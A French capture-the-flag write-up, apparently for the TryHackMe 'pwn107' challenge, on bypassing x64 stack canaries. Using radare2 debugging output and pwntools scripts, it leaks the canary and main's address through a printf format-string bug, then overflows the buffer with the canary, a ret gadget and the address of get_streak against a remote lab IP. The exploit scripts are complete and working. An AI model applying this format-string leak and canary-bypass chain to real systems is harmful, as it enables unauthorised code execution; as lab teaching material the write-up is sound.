x64 Canaries
Dans cet exercice, nous allons comprendre ce que sont les protections "canary".
Les canaries sont des entiers, longs et aléatoires, qui permettent de vérifier que la stack n'a pas été écrasée. En chargeant notre binaire dans r2, nous pouvons observer ce canary :
r2 -AAAA pwn107-1644307530397.pwn107
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Reanalyzing graph references to adjust functions count (aarr)
INFO: Autoname all functions (.afna@@c:afla)
[0x00000780]> pdf @main
;-- main:
; ICOD XREF from sym._start @ 0x79d(r)
┌ 243: sym.main ();
│ afv: vars(3:sp[0x10..0x48])
│ 0x00000992 55 push rbp
│ 0x00000993 4889e5 mov rbp, rsp
│ 0x00000996 4883ec40 sub rsp, 0x40
│ 0x0000099a 64488b0425.. mov rax, qword fs:[0x28]
│ 0x000009a3 488945f8 mov qword [canary], rax
│ 0x000009a7 31c0 xor eax, eax
...
[0x00000780]> db 0x00000a14
[0x00000780]> db 0x00000a19
[0x00000780]> ood
INFO: File dbg:///home/arthur/case/pwn107-1644307530397.pwn107 reopened in read-write mode
[0x7b69e6d75440]> dc
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 107
You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? INFO: hit breakpoint at: 0x594910600a14
[0x594910600a14]> dc
%15$lX
INFO: hit breakpoint at: 0x594910600a19
[0x585ed0000a14]> pxr @ rbp - 0x8
0x7ffc42d6e588 0x7a421eb3f6ad9200 ......Bz
0x7ffc42d6e590 0x0000000000000001 ........ @ rbp 1
0x7ffc42d6e598 0x00007c0774308ca8 ..0t.|.. /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'mov edi, eax' 'libc.so.6'
0x7ffc42d6e5a0 0x00007ffc42d6e690 ...B.... [stack] stack R W 0x7ffc42d6e698
...
Et nous découvrons donc notre canary : 0x7a421eb3f6ad9200 à rbp - 0x8
Ce qui nous intéresse est la position de ce canary par rapport à notre input. En effet, avec la possibilité de leaker via printf le contenu de la mémoire, il est nécessaire de connaitre la possition relative des deux éléments :
[0x5aeb45a00a14]> dc
AAAAAAAAAAAAAAAAAAAAAAAAAAA
INFO: hit breakpoint at: 0x5aeb45a00a19
[0x5aeb45a00a14]> AAAAAAA
ERROR: Invalid command 'AAAAAAA' (0x41)
[0x5aeb45a00a14]> pxr @ rsp
0x7ffc94b20c20 0x4141414141414141 AAAAAAAA @ rsp ascii ('A')
0x7ffc94b20c28 0x4141414141414141 AAAAAAAA ascii ('A')
0x7ffc94b20c30 0x0000000041414141 AAAA.... 1094795585 ascii ('A')
0x7ffc94b20c38 ..[ null bytes ].. 00000000
0x7ffc94b20c48 0x000071c441155780 .W.A.q.. /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 library R X 'push rbp' 'ld-linux-x86-64.so.2'
0x7ffc94b20c50 ..[ null bytes ].. 00000000
0x7ffc94b20c58 0xe98f57286ba15f00 ._.k(W..
0x7ffc94b20c60 0x0000000000000001 ........ @ rbp 1
0x7ffc94b20c68 0x000071c440f4bca8 ...@.q.. /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'mov edi, eax' 'libc.so.6'
0x7ffc94b20c70 0x00007ffc94b20d60 `....... [stack] stack R W 0x7ffc94b20d68
En nous découvrons que le canary est à la 7ème position relative à notre input.
Nous allons maintenant essayer de trouver la position à laquelle notre input fuite. Pour cela, nous utilisons un petit script python :
from pwn import *
payload_begins = 'ABCD'
target = '44434241'
ongoing = True
index = 1
out_len = 0
context.log_level = "error"
while ongoing :
io = process('./pwn107-1644307530397.pwn107')
io.recvregex('streak?'.encode('ascii'))
payload = payload_begins + f'.%{index}$lX'
io.sendline(payload.encode('ascii'))
io.recvregex(payload_begins)
res = io.recvline().strip().decode('ascii')
if target in res:
res_string = f'[+] Found offset : {index}'
print(res_string + ' ' * out_len)
ongoing = False
else:
res_string = f'[i] Received {res} for {index}'
out_len = len(res_string)
print(res_string, end='\r')
index += 1
Nous en déduisons que notre offset est 6 et notre payload %6$lX fait fuiter notre input.
Comme l'offset de notre canary est 7, on en déduit que %13$lX doit faire fuiter notre canary.
On peut vérifier cela dans r2 :
[0x58abfbc00a14]> dc
%13$lX
INFO: hit breakpoint at: 0x58abfbc00a19
[0x58abfbc00a14]> pxr @ rbp - 0x8
0x7ffe33ad0d48 0x329d542d18a0dc00 ....-T.2
0x7ffe33ad0d50 0x0000000000000001 ........ @ rbp 1
0x7ffe33ad0d58 0x00007fe99286bca8 ........ /usr/lib/x86_64-linux-gnu/libc.so.6 library R X 'mov edi, eax' 'libc.so.6'
[...]
[0x58abfbc00a14]> dc
Thanks, Happy hacking!!
Your current streak: 329D542D18A0DC00
[...]
Et effectivement, nous parvenons à leaker notre canary. Super !
Notre objectif est de crafter un payload tel que :
<buffer> + <canary> + <return address> ou la return address pointe vers une fonction intéressante.
Or, si notre binaire est dynamic linked, les adresses changent et il nous faut donc un point de référence. Pour cela, nous analysons notre pile pour récupérer l'adresse d'une fonction du programme.
[!warning] Il faut que l'adresse soit présente peu importe la taille de notre input.
[0x5a14a4c00a19]> pxr @ rsp
0x7fff7aa809e0 0x000a586c24383125 %18$lX.. @ rsp
0x7fff7aa809e8 ..[ null bytes ].. 00000000
0x7fff7aa80a08 0x0000764f0c71b780 ..q.Ov.. /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 library R X 'push rbp' 'ld-linux-x86-64.so.2'
0x7fff7aa80a10 ..[ null bytes ].. 00000000
0x7fff7aa80a18 0xeaf0bd979758c700 ..X.....
0x7fff7aa80a20 0x0000000000000001 ........ @ rbp 1
0x7fff7aa80a28 0x0000764f0c511ca8 ..Q.Ov..
0x7fff7aa80a30 0x00007fff7aa80b20 ..z.... [stack] stack R W 0x7fff7aa80b28
0x7fff7aa80a38 0x00005a14a4c00992 .....Z.. /home/arthur/case/pwn107-1644307530397.pwn107 .text main,main,main,main sym.main program R X 'push rbp' 'pwn107-1644307530397.pwn107'
0x7fff7aa80a40 0x00000001a4c00040 @....... 7059013696
0x7fff7aa80a48 0x00007fff7aa80b38 8..z.... [stack] rbx stack R W 0x7fff7aa81ea4
0x7fff7aa80a50 0x00007fff7aa80b38 8..z.... [stack] rbx stack R W 0x7fff7aa81ea4
0x7fff7aa80a58 0x5a8624f233b19b5a Z..3.$.Z
Ici, on voit que l'on pourrait récupérer l'adresse de mail en 0x7fff7aa80a38, soit un offset de de 10 par rapport à notre input :
- 0a38 - 09e0 = 58
- 58 -8 = 50
- 50 / 8 = A = 10
Ainsi, nous pouvons faire leaker l'adresse de notre fonction avec le payload %16$lX.
Cependant, cela retourne l'adresse de la fonction. Pour trouver l'adresse d'origine du programme, il faut récupérer l'offset de la fonction identifiée :
from pwn import *
input_offset = 6
canary_offset = 7
reference_offset = 10
payload = f'%{input_offset + reference_offset}$lX.%{input_offset + canary_offset}$lX'
context.binary = binary = ELF('./pwn107-1644307530397.pwn107')
io = process('./pwn107-1644307530397.pwn107')
io.recvregex('streak?'.encode('ascii'))
io.sendline(payload.encode('ascii'))
io.recvregex('streak:'.encode('ascii'))
res = io.recvline().strip().decode('ascii')
static_offset = binary.symbols.main
[dynamic_offset, canary_value] = res.split('.')
info(f'Canary : {canary_value}')
info(f'Dynamic offset : {dynamic_offset}')
success(f'Dynamic address : {hex(int(dynamic_offset,16) - static_offset)}')
[!Note] Il n'est pas forcément nécessaire de charger le binaire dans le context. Il est possible de récupérer l'offset de la fonction main dans le debugger directement.
On injecte ensuite notre payload, en ajoutant un ret gadget dans le deuxème input possible :
from pwn import *
input_offset = 6
canary_offset = 7
reference_offset = 13
payload = f'%{input_offset + reference_offset}$lX.%{input_offset + canary_offset}$lX'
context.binary = binary = ELF('./pwn107-1644307530397.pwn107')
io = remote('10.129.131.230', 9007)
#io = process('./pwn107-1644307530397.pwn107')
io.recvregex('streak?'.encode('ascii'))
io.sendline(payload.encode('ascii'))
io.recvregex('streak:'.encode('ascii'))
res = io.recvline().strip().decode('ascii')
static_offset = binary.symbols.main
[dynamic_offset, canary_value] = res.split('.')
binary_address = int(dynamic_offset,16) - static_offset
canary_value = int(canary_value, 16)
info(f'Canary : {hex(canary_value)}')
info(f'Dynamic offset : {hex(int(dynamic_offset,16))}')
success(f'Dynamic address : {hex(binary_address)}')
binary.address = binary_address
evil_function_address = binary.symbols.get_streak
# Get a 'ret' gadget :
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
success(f'Using gadet at : {hex(ret_gadget)}')
success(f'Using evil function at : {hex(evil_function_address)}')
payload = b"A"*0x18 + p64(canary_value) + b"B"*8 + p64(ret_gadget) + p64(evil_function_address)
info(f'Sending payload : {payload}')
io.recvregex('We miss you!😢\n'.encode('utf-8'))
io.sendline(payload)
io.interactive()
Et voilà ? Non, pas tout à fait, en fait il est possible que nous recevions toujours une erreur EOF. Cela est lié au fait que dans la pile de la cible, le décallage entre notre input et notre fonction de référence n'est peut être pas le même.
La bonne nouvelle, c'est que nous savons que l'adresse de notre fonction de référence reste relativement la même.
[*] Dynamic offset : 0x560e87c00992
On identifie en particulier qu'elle finit par 92.
A partir de cela, on teste les différents décalages (proches de celui qui fonctionne localement) pour trouver le bon argument %19$lX. Une fois que l'on a trouvé ça, notre exploit est fonctionnel !